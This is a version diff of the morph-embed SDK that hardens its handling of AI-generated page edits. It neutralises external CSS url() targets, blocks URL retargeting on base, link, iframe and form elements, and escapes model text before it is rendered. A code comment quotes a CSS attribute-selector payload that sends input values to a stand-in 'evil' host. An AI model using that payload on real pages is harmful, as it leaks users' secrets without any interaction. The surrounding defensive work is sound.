morph-embed 0.2.1 → 0.2.2

package/dist/morph-embed.esm.mjs

@@ -1,4 +1,4 @@
-/*! Morph Embed SDK v0.2.1 — https://usemorph.xyz — MIT */
+/*! Morph Embed SDK v0.2.2 — https://usemorph.xyz — MIT */
 const g = typeof window !== "undefined" ? window : globalThis;
 
 /* ---- shared/dsl.js ---- */
@@ -77,6 +77,17 @@ const g = typeof window !== "undefined" ? window : globalThis;
   // URL-bearing attribute names (used by both HTML sanitizer and setAttr guard).
   const URL_ATTRS = new Set(['href', 'src', 'srcset', 'xlink:href']);
 
+  // setAttr must never retarget the URL of these elements even to an https host:
+  // <base href> rewrites how every relative URL on the page resolves; <link>,
+  // <iframe>, <frame>, <object>, <embed> load external content in-page (a <link
+  // rel=stylesheet> also loads a stylesheet the CSS neutralizer never sees).
+  const URL_RETARGET_BLOCK_TAGS = new Set(['base', 'link', 'iframe', 'frame', 'object', 'embed', 'meta', 'form']);
+  // Cheap purely-static check: does a selector name one of those tags directly?
+  function selectorNamesBlockedTag(selector) {
+    const toks = String(selector || '').toLowerCase().match(/[a-z][a-z0-9]*/g) || [];
+    return toks.some((t) => URL_RETARGET_BLOCK_TAGS.has(t));
+  }
+
   // Modest length caps (DoS hygiene; generous enough not to clip real payloads).
   const MAX_CSS = 200000;
   const MAX_HTML = 200000;
@@ -120,6 +131,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
       /behavior\s*:/.test(normalized) ||
       /-moz-binding/.test(normalized) ||
       /url\(\s*(['"]?)\s*(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)/.test(normalized) ||
+      // external url() (scheme or protocol-relative), except inline data:image —
+      // backstop for escape/comment-obfuscated exfil the token pass missed
+      /url\(\s*['"]?\s*(?!data:image\/)([a-z][a-z0-9+.-]*:|\/\/)/.test(normalized) ||
       /(javascript|vbscript|mocha|livescript)\s*:/.test(normalized)
     );
   }
@@ -146,6 +160,23 @@ const g = typeof window !== "undefined" ? window : globalThis;
       /url\(\s*(['"]?)((?:\/\*[\s\S]*?\*\/|\s)*)(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)[^)]*\)/gi,
       'url($1about:blank#)'
     );
+    // EXTERNAL url() exfiltration channel: a model reshape must never fetch an
+    // off-page resource (the product is reshape-only, on-page data only). An
+    // attribute-selector rule like input[value^="a"]{background:url(//evil/a)}
+    // leaks page secrets to an attacker host with zero interaction. Neutralize
+    // any url() whose target is absolute (has a scheme) or protocol-relative
+    // (//host), EXCEPT data:image/* (inline, no network). Relative paths
+    // (same-origin, can't exfiltrate cross-origin) are preserved.
+    out = out.replace(/url\(([^)]*)\)/gi, function (full, inner) {
+      const target = String(inner)
+        .replace(/\/\*[\s\S]*?\*\//g, '')            // comments
+        .trim()
+        .replace(/^(['"])([\s\S]*)\1$/, '$2')        // matched quotes
+        .trim();
+      if (/^data:image\//i.test(target)) return full;             // inline image OK
+      if (/^([a-z][a-z0-9+.-]*:|\/\/)/i.test(target)) return 'url(about:blank#)'; // scheme or //host -> block
+      return full;                                                 // relative -> OK
+    });
     // bare scheme prefixes inside the value (style attr context)
     if (mode === 'style') {
       out = out.replace(/(javascript|vbscript|mocha|livescript)\s*:/gi, '');
@@ -381,6 +412,11 @@ const g = typeof window !== "undefined" ? window : globalThis;
       const n = normalizeAttrName(op.name);
       if (n.startsWith('on')) return 'event-handler attr blocked';
       if (!ALLOWED_ATTRS.has(n)) return 'attr not allowed: ' + n;
+      // Refuse to retarget a URL attribute onto <base>/<iframe>/<link>/… — even
+      // to https — because that loads external content or reroutes the page.
+      if (URL_ATTRS.has(n) && selectorNamesBlockedTag(op.selector)) {
+        return 'url retarget on ' + n + ' blocked for framing/base/link targets';
+      }
     }
     // renderData: chart type + position must be from the fixed sets. The op has
     // two forms; either way the actual numbers come from caller-attached data at
@@ -651,8 +687,13 @@ const g = typeof window !== "undefined" ? window : globalThis;
         return () => els.forEach((el, i) => { el.textContent = prev[i]; });
       }
       case 'setAttr': {
-        const els = resolveEls(doc, op);
+        let els = resolveEls(doc, op);
         if (op.name.toLowerCase().startsWith('on')) throw new Error('event-handler attr blocked');
+        // Airtight, selector-independent backstop: never write a URL attribute
+        // onto a framing/base/link element regardless of how it was matched.
+        if (URL_ATTRS.has(normalizeAttrName(op.name))) {
+          els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
+        }
         if (!els.length) return null;
         const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
         els.forEach((el) => el.setAttribute(op.name, op.value));
@@ -910,7 +951,10 @@ const g = typeof window !== "undefined" ? window : globalThis;
       }
       case 'setAttr': {
         if (op.name.toLowerCase().startsWith('on')) return { touched: 0 };
-        const els = unmarked(doc, op.selector, token);
+        let els = unmarked(doc, op.selector, token);
+        if (URL_ATTRS.has(normalizeAttrName(op.name))) {
+          els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
+        }
         if (!els.length) return { touched: 0 };
         const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
         els.forEach((el) => { el.setAttribute(op.name, op.value); reconAdd(el, token); });
@@ -2924,7 +2968,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
         () => { try { bar.setStatus('✓ Action "' + name + '" done.', 'ok'); } catch (_) { /* bar gone */ } },
         (e) => {
           const msg = String((e && e.message) || e);
-          try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + msg, /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
+          try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + escapeHtml(msg), /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
         }
       );
     }
@@ -3019,7 +3063,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
         resp = await r.json();
       } catch (e) {
         clearStages();
-        try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + String((e && e.message) || e), 'err'); } catch (_) { /* noop */ }
+        try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + escapeHtml(String((e && e.message) || e)), 'err'); } catch (_) { /* noop */ }
         return;
       }
       clearStages();
@@ -3048,7 +3092,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
         const edit = await store.appendEdit(pathKey(), anchored, { prompt });
         const note = handle.failed ? ' (' + handle.failed + ' op(s) skipped)' : '';
         const explanation = (resp.transform && resp.transform.explanation) || 'Done.';
-        bar.setStatus('✓ ' + explanation + ' Saved for this page.' + note, 'ok');
+        // setStatus renders TRUSTED HTML (innerHTML) — escape the model's
+        // free-text explanation, exactly as the extension does (content.js).
+        bar.setStatus('✓ ' + escapeHtml(explanation) + ' Saved for this page.' + note, 'ok');
         bar.showActions(true);
         try { bar.clearInput(); } catch (_) { /* noop */ }
         await refreshCount();

package/dist/morph-embed.js

@@ -1,4 +1,4 @@
-/*! Morph Embed SDK v0.2.1 — https://usemorph.xyz — MIT */
+/*! Morph Embed SDK v0.2.2 — https://usemorph.xyz — MIT */
 
 /* ---- shared/dsl.js ---- */
 /*
@@ -76,6 +76,17 @@
   // URL-bearing attribute names (used by both HTML sanitizer and setAttr guard).
   const URL_ATTRS = new Set(['href', 'src', 'srcset', 'xlink:href']);
 
+  // setAttr must never retarget the URL of these elements even to an https host:
+  // <base href> rewrites how every relative URL on the page resolves; <link>,
+  // <iframe>, <frame>, <object>, <embed> load external content in-page (a <link
+  // rel=stylesheet> also loads a stylesheet the CSS neutralizer never sees).
+  const URL_RETARGET_BLOCK_TAGS = new Set(['base', 'link', 'iframe', 'frame', 'object', 'embed', 'meta', 'form']);
+  // Cheap purely-static check: does a selector name one of those tags directly?
+  function selectorNamesBlockedTag(selector) {
+    const toks = String(selector || '').toLowerCase().match(/[a-z][a-z0-9]*/g) || [];
+    return toks.some((t) => URL_RETARGET_BLOCK_TAGS.has(t));
+  }
+
   // Modest length caps (DoS hygiene; generous enough not to clip real payloads).
   const MAX_CSS = 200000;
   const MAX_HTML = 200000;
@@ -119,6 +130,9 @@
       /behavior\s*:/.test(normalized) ||
       /-moz-binding/.test(normalized) ||
       /url\(\s*(['"]?)\s*(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)/.test(normalized) ||
+      // external url() (scheme or protocol-relative), except inline data:image —
+      // backstop for escape/comment-obfuscated exfil the token pass missed
+      /url\(\s*['"]?\s*(?!data:image\/)([a-z][a-z0-9+.-]*:|\/\/)/.test(normalized) ||
       /(javascript|vbscript|mocha|livescript)\s*:/.test(normalized)
     );
   }
@@ -145,6 +159,23 @@
       /url\(\s*(['"]?)((?:\/\*[\s\S]*?\*\/|\s)*)(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)[^)]*\)/gi,
       'url($1about:blank#)'
     );
+    // EXTERNAL url() exfiltration channel: a model reshape must never fetch an
+    // off-page resource (the product is reshape-only, on-page data only). An
+    // attribute-selector rule like input[value^="a"]{background:url(//evil/a)}
+    // leaks page secrets to an attacker host with zero interaction. Neutralize
+    // any url() whose target is absolute (has a scheme) or protocol-relative
+    // (//host), EXCEPT data:image/* (inline, no network). Relative paths
+    // (same-origin, can't exfiltrate cross-origin) are preserved.
+    out = out.replace(/url\(([^)]*)\)/gi, function (full, inner) {
+      const target = String(inner)
+        .replace(/\/\*[\s\S]*?\*\//g, '')            // comments
+        .trim()
+        .replace(/^(['"])([\s\S]*)\1$/, '$2')        // matched quotes
+        .trim();
+      if (/^data:image\//i.test(target)) return full;             // inline image OK
+      if (/^([a-z][a-z0-9+.-]*:|\/\/)/i.test(target)) return 'url(about:blank#)'; // scheme or //host -> block
+      return full;                                                 // relative -> OK
+    });
     // bare scheme prefixes inside the value (style attr context)
     if (mode === 'style') {
       out = out.replace(/(javascript|vbscript|mocha|livescript)\s*:/gi, '');
@@ -380,6 +411,11 @@
       const n = normalizeAttrName(op.name);
       if (n.startsWith('on')) return 'event-handler attr blocked';
       if (!ALLOWED_ATTRS.has(n)) return 'attr not allowed: ' + n;
+      // Refuse to retarget a URL attribute onto <base>/<iframe>/<link>/… — even
+      // to https — because that loads external content or reroutes the page.
+      if (URL_ATTRS.has(n) && selectorNamesBlockedTag(op.selector)) {
+        return 'url retarget on ' + n + ' blocked for framing/base/link targets';
+      }
     }
     // renderData: chart type + position must be from the fixed sets. The op has
     // two forms; either way the actual numbers come from caller-attached data at
@@ -650,8 +686,13 @@
         return () => els.forEach((el, i) => { el.textContent = prev[i]; });
       }
       case 'setAttr': {
-        const els = resolveEls(doc, op);
+        let els = resolveEls(doc, op);
         if (op.name.toLowerCase().startsWith('on')) throw new Error('event-handler attr blocked');
+        // Airtight, selector-independent backstop: never write a URL attribute
+        // onto a framing/base/link element regardless of how it was matched.
+        if (URL_ATTRS.has(normalizeAttrName(op.name))) {
+          els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
+        }
         if (!els.length) return null;
         const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
         els.forEach((el) => el.setAttribute(op.name, op.value));
@@ -909,7 +950,10 @@
       }
       case 'setAttr': {
         if (op.name.toLowerCase().startsWith('on')) return { touched: 0 };
-        const els = unmarked(doc, op.selector, token);
+        let els = unmarked(doc, op.selector, token);
+        if (URL_ATTRS.has(normalizeAttrName(op.name))) {
+          els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
+        }
         if (!els.length) return { touched: 0 };
         const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
         els.forEach((el) => { el.setAttribute(op.name, op.value); reconAdd(el, token); });
@@ -2923,7 +2967,7 @@
         () => { try { bar.setStatus('✓ Action "' + name + '" done.', 'ok'); } catch (_) { /* bar gone */ } },
         (e) => {
           const msg = String((e && e.message) || e);
-          try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + msg, /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
+          try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + escapeHtml(msg), /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
         }
       );
     }
@@ -3018,7 +3062,7 @@
         resp = await r.json();
       } catch (e) {
         clearStages();
-        try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + String((e && e.message) || e), 'err'); } catch (_) { /* noop */ }
+        try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + escapeHtml(String((e && e.message) || e)), 'err'); } catch (_) { /* noop */ }
         return;
       }
       clearStages();
@@ -3047,7 +3091,9 @@
         const edit = await store.appendEdit(pathKey(), anchored, { prompt });
         const note = handle.failed ? ' (' + handle.failed + ' op(s) skipped)' : '';
         const explanation = (resp.transform && resp.transform.explanation) || 'Done.';
-        bar.setStatus('✓ ' + explanation + ' Saved for this page.' + note, 'ok');
+        // setStatus renders TRUSTED HTML (innerHTML) — escape the model's
+        // free-text explanation, exactly as the extension does (content.js).
+        bar.setStatus('✓ ' + escapeHtml(explanation) + ' Saved for this page.' + note, 'ok');
         bar.showActions(true);
         try { bar.clearInput(); } catch (_) { /* noop */ }
         await refreshCount();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "morph-embed",
-  "version": "0.2.1",
+  "version": "0.2.2",
   "description": "Embed a prompt bar in your product so users can generate the features you haven't built — real-data widgets, layout reshapes, and confirm-gated actions. Declarative-DSL security model; your data never leaves the page.",
   "license": "MIT",
   "main": "dist/morph-embed.esm.mjs",